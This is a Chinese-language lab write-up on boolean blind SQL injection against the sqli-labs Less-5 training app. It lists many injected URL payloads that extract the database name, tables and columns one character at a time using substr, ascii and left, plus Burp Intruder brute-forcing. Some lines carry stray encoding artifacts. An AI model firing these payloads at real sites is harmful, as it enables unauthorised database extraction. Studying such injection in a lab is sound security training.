本次實驗仍是使用sqli-labs環境。在開始SQL盲注以前首先學習一下盲注須要用到的基礎語法。python
一、left()函數:left(str,lenth)它返回具備指定長度的字符串的左邊部分。mysql
left(a,b) 從左邊截取a的b位 正則表達式
咱們在命令行使用sqli-labs數據庫實驗一下,首先使用security數據庫,而後對數據庫名第一個字符進行查詢,找到了第一個字母ssql
判斷數據庫第一位是否爲s,加入判斷語句=‘s’,看到結果返回1,說明當去數據庫第一個字母爲s數據庫
*沒有使用數據庫時結果返回爲空函數
二、regexp函數:REGEXP在mysql是用來執行正則表達式的一個函數學習
select user() regexp ’root’ 查詢當前用戶是否爲root,regexp爲匹配root的正則表達式ui
查看當前數據庫是否存在rispa
三、like函數:LIKE一般與通配符%一塊兒使用,%表示通配pattern中出現的內容,而不加通配符%的LIKE語法,表示精確匹配,其實際效果等同於 = 等於運算符命令行
select user() like ‘ro%’ 查詢當前用戶是否爲ro開頭,能夠看出當前用戶是ro開頭
使用like精準查詢,這裏能夠看到使用like查詢當前用戶是否爲root,結果爲假,這是爲何呢?
由於我當前用戶名爲root@localhost
再次使用like精準查詢當前用戶,就返回了正確結果
四、sbustr函數:sbustr函數是用來截取字符串長度的函數。
substr(a,b,c),就是從位置b開始截取a字符串的c位長度
判斷當前數據庫第一個字母是否爲s
判斷前4位是否爲secu
五、ascii() 函數:查看字符/數字/符號的ascii碼
查詢字母的ascii碼 select ascii(‘c’)
查詢數字的ascii碼 select ascii(1)
查詢符號的ascii碼
六、python使用chr()將ascii碼轉換爲對應字符,使用ord()將字符轉換爲ascii碼
接下來進行試驗,打開sqli-labs第五關
一、首先判斷注入點 http://localhost:8088/sqli-labs/Less-5/?id=1,返回正常頁面
輸入http://localhost:8088/sqli-labs/Less-5/?id=1',頁面報錯說明存在注入點
二、使用order by猜列數,在order by 4時頁面報錯,說明存在3個列。
三、使用length函數查詢數據庫名長度直到找到正確的爲止
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=1 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=2 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=3 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=4 --+
也可使用Burp Suite抓包對長度進行爆破
獲得了數據庫長度爲8位
四、對數據庫名進行猜解
判斷數據庫的第一位開始一個字符的ascii是否大於100
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+ 結果返回正確
判斷是否小於200
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))<200--+ 頁面顯示爲空
不斷縮小範圍ascii範圍
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+ 頁面顯示爲空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+ 頁面顯示爲空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+ 頁面顯示爲空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>112--+ 結果返回正確
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+ 頁面顯示爲空
不斷嘗試後找到數據庫第一位的ascii碼爲115
使用python查詢ascii碼115對應的字符爲s
修改substr參數查詢第二字符,不斷嘗試找到其ascii爲101
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),2,1))=101--+
使用python獲得第二字段爲e
因爲剛剛已經才接到數據庫名字長度爲八個字符,因此須要破解到到第八位,就能夠獲得當前數據庫名字了。
五、接下來開始猜解表
首先查看security數據庫中表的數量,發現有四個表
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=1 ;--+ 頁面顯示爲空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=2 ;--+ 頁面顯示爲空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=3 ;--+ 頁面顯示爲空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 ;--+ 結果返回正確
使用length函數查詢第一個表字段數:
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=1;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=2;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=3;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6;--+
使用ascii對第一個表的第一個字符進行猜解最終獲得其ascii碼爲101
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
使用python獲得字符爲e
依次對六個字符進行猜解,獲得數據表名爲emails,看上去應該是郵件,不是咱們想要的內容,接下來能夠進行破解第二個表長度以及猜解名稱這裏不作演示,直到獲得所有4個數據表名稱emails、 referers 、uagents、users。接下來對users表進行猜解
六、猜解數據
首先判斷列數,獲得了一共有三個列。
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=2--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+
接下來對第一列表名的長度進行查詢
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=1;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2;--+
使用ascii方法猜解第一個列第一個字符,獲得105,第一個字符爲i
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+ 猜解第一列i
修改substr函數,第二個參數,對第二個字符進行猜解,ascii碼117,獲得字符d
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=117--+ 猜解第一列d
接下來步驟相似,對其他數據進行猜解就能夠了。
這是ASCII碼中全部能夠顯示的字符,能夠做爲猜解的ASCII數值應該就是32-126,因此是否是隻要把閾值範圍內的數值作成一個字典直接跑就好了呢?
使用這個Payload試一下:
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=1--+
Burp Suite抓取數據包,提交到Intruder,將數值添加爲變量,而後加載32-126的字典
跑一下康康,成功獲得了正確的ASCII碼,
而後使用left方法試一下,使用left函數判斷當前數據庫名字的左邊第一位是否爲字符1,頁面顯示任何信息因此結果爲不是
localhost:8088/sqli-labs/Less-5/?id=1' and left((select database()),1)='1' --+
如今咱們遍歷全部能夠輸入的字符爆破數據庫的第一個字符,實驗一下,果真成功遍歷出了正確的字符S,可是大小寫S均可以成功,那麼s的ASCII爲115而S的ASCII爲83,爲何使用ASCII遍歷時候能夠成功呢?
下面能夠看到security數據庫的第一字符爲s
查看ASCII碼
而後判斷一下其ASCII碼是否爲115
那麼判斷它是否爲83
結果爲否。
因此我以爲緣由多是由於用戶在建立數據庫時侯使用的時小寫的security因此這個數據被記錄在數據庫中,在盲注時使用ASCII方法猜解到了數據庫所存儲的小寫security信息,而因爲數據庫自己時不區分大小寫的,因此當咱們查詢時使用大寫小寫都可以查詢到該數據庫。就致使了爆破時s/S都可以爆破成功。
接下來使用left方法對數據庫名其他字符進行爆破,修改left的參數爲2,使查詢一次返回兩個字符,而後將正確的第一個輸入對第二個字符進行爆破,獲得正確的兩個字符
這樣的話用left進行猜解,字典能夠減小26個字母。